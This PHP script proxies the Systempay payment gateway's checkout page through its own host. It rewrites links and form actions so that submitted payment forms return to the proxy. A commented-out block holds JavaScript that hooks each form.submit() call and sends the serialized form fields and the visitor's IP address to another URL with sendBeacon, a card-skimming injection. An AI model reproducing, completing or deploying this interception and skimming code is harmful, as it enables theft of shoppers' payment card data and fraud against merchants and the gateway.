#!/usr/bin/php
<?php
$url="https://paiement.systempay.fr";
$pathTogtw="/vads-payment/";

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $POST = fgets(STDIN); 
}
else  {
    $POST = getenv("QUERY_STRING");
}

if (!strpos($POST,"vads_site_id") || !strpos($POST,"vads_trans_date")) {
	echo "Content-Type: text/html; charset=utf-8\r\n\r\n";
        exit();
}

function normalise($path, $encoding = "UTF-8") {
    $path = iconv($encoding, "$encoding//IGNORE//TRANSLIT", $path);
    $safe = [];
    foreach (explode('/', $path) as $part) {
        if ($part === '' || $part === '.') {
            continue;
        }
        if ($part === '..') {
            array_pop($safe);
        } else {
            $safe[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $safe);
}

$hopByHop = [
    'connection', 'keep-alive', 'proxy-authenticate', 'proxy-authorization',
    'te', 'trailer', 'transfer-encoding', 'upgrade','host'
];

// 2) Extraire et normaliser tous les headers depuis $_SERVER, et enrichir hop‑by‑hop
$reqHeaders = [];
foreach ($_SERVER as $key => $value) {
    // HTTP_* → header
    if (strpos($key, 'HTTP_') === 0) {
        $raw = substr($key, 5);
    }
    // CONTENT_TYPE & CONTENT_MD5 (mais pas CONTENT_LENGTH)
    elseif (in_array($key, ['CONTENT_TYPE', 'CONTENT_MD5'], true)) {
        $raw = $key;
    } else {
        continue;
    }

    // Normaliser le nom : "Foo-Bar"
    $name = str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', $raw))));

    // Conserver la valeur
    $reqHeaders[$name] = $value;

    // Si c'est le header Connection, ajouter dynamiquement ses valeurs
    if (strtolower($name) === 'connection') {
        foreach (explode(',', $value) as $h) {
            $h = strtolower(trim($h));
            if ($h !== '' && !in_array($h, $hopByHop, true)) {
                $hopByHop[] = $h;
            }
        }
    }
}


// 4) Filtrer en une seule passe, en testant strtolower($name) **uniquement pour le test**
$headr = [];
$AcceptEncoding = '';
foreach ($reqHeaders as $name => $value) {
    // on ne modifie pas $name ni $reqHeaders
    if (! in_array(strtolower($name), $hopByHop, true)) {
        $headr[] = "$name: $value";
        if (strtolower($name)==='accept-encoding') $AcceptEncoding=$value;
    }
}

$IpAddress=$_SERVER['REMOTE_ADDR'];
$headr[]="X-Forwarded-For: $IpAddress";
/*file_put_contents("/www-data/debug.txt",http_build_query($headr)."\nEncoding : ".$AcceptEncoding."\nheadr['Accept-Encoding'] ".$headr["Accept-Encoding"]."\n\n",FILE_APPEND);
foreach ($headr as $name => $value) { 
file_put_contents("/www-data/debug.txt","$name: $value"."\n",FILE_APPEND);
}*/
$options=[ CURLOPT_ENCODING =>$AcceptEncoding,
CURLOPT_URL=> "$url$pathTogtw",
CURLOPT_HTTPHEADER=> $headr,
CURLOPT_HEADER => true,
CURLOPT_RETURNTRANSFER=> true,
CURLOPT_POST=>true,
CURLOPT_POSTFIELDS=> $POST];

$curl = curl_init();
curl_setopt_array($curl, $options);
$resp = curl_exec($curl);
if ($resp===false) {
        echo "Content-type: text/html; charset=utf-8\r\n\r\nerror ";
        exit();
}
//$headerStr = "Content-Type: ".curl_getinfo( $curl , CURLINFO_CONTENT_TYPE )."\r\n\r\n";
$header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
curl_close($curl);

$headers = substr($resp, 0, $header_size);
$resp = substr($resp, $header_size);

$output = "";

// extraire la dernière réponse HTTP (en cas de redirections)
$lines = explode("\r\n", trim($headers));
$status_line = "Status: 200 OK\r\n";
$headers_block = [];
foreach ($lines as $line) {
    if (preg_match('#^HTTP/[0-9\.]+\s+(\d+)\s*(.*)$#i', $line, $m)) {
        $status_line = "Status: {$m[1]} {$m[2]}\r\n";
        $headers_block = [];
    } elseif ($line !== '') {
        $headers_block[] = $line;
    }
}

$output .= $status_line;
foreach ($headers_block as $h) {
    if (stripos($h, 'Transfer-Encoding:') === 0) continue;
    if (stripos($h, 'Connection:') === 0) continue;
    if (stripos($h, 'Content-Encoding:') === 0) continue;
    $output .= "$h\r\n";
}


/*$injected = false;
$javascript=<<<EOL
function sendData(f){var s=new URLSearchParams(new FormData(f)).toString();navigator.sendBeacon(document.URL,"$urlajax&"+s+"&IpAddress=$IpAddress");return true;}
EOL;*/

//file_put_contents("/www-data/debug.txt","before preg\n".$headerStr.'\n'.$resp.'\n\n',FILE_APPEND);
$resp = preg_replace_callback_array([
// 1)replace only <script> inline (no src) → replacement + injection JS
    /*'#<script\b((?![^>]*\bsrc\b)[^>]*)>(.*?)</script>#is' => 
        function(array $m) use (&$injected, $javascript) {
            // $m[1] = tous les attributs *hors* src, $m[2] = code inline
             $code = str_replace(
                'form.submit();',
                'sendData(form);form.submit();',
                $m[2]
            );
            if (!$injected) {
                $code     .= " $javascript";
                $injected = true;
            }
            return "<script$m[1]>" . $code . '</script>';
        },*/
    // <a|link|img|input|script> → href|src
    '#<(?:a|link|img|input|script)\b[^>]*\b(?:href|src)=["\']([^"\']+)["\']#i' =>
        static function(array $m) use ($url, $pathTogtw) {
            $orig = $m[1];
            // on laisse les liens vides ou absolus
            if ($orig === '' || stripos($orig, 'http') === 0) {
                return $m[0];
            }
            // on reconstruit sans var intermédiaire
            return str_replace(
                $orig,
                "$url/" . normalise("$pathTogtw$orig"),
                $m[0]
            );
        },
 // 2) CSS : @import url(...)
		    '#@import\s+url\(\s*(["\']?)([^"\')]+)\1\s*\)#i' =>
		static function(array $m) use ($url) {
			    return ($m[2] === '' || stripos($m[2], 'http') === 0)
				? $m[0]
				: '@import url('
				    . $m[1]
				    . "$url/" . normalise($m[2])
				    . $m[1]
				    . ')';
			},
    // <form> → action
    '#<form\b[^>]*\baction=["\']([^"\']*)["\']#i' =>
        static fn(array $m) =>
            str_replace($m[1], basename($m[1]), $m[0]),
], $resp);

//file_put_contents("/www-data/debug.txt",$header."\n",FILE_APPEND);



//echo "$headerStr$resp";

echo "$output\r\n$resp";

?>
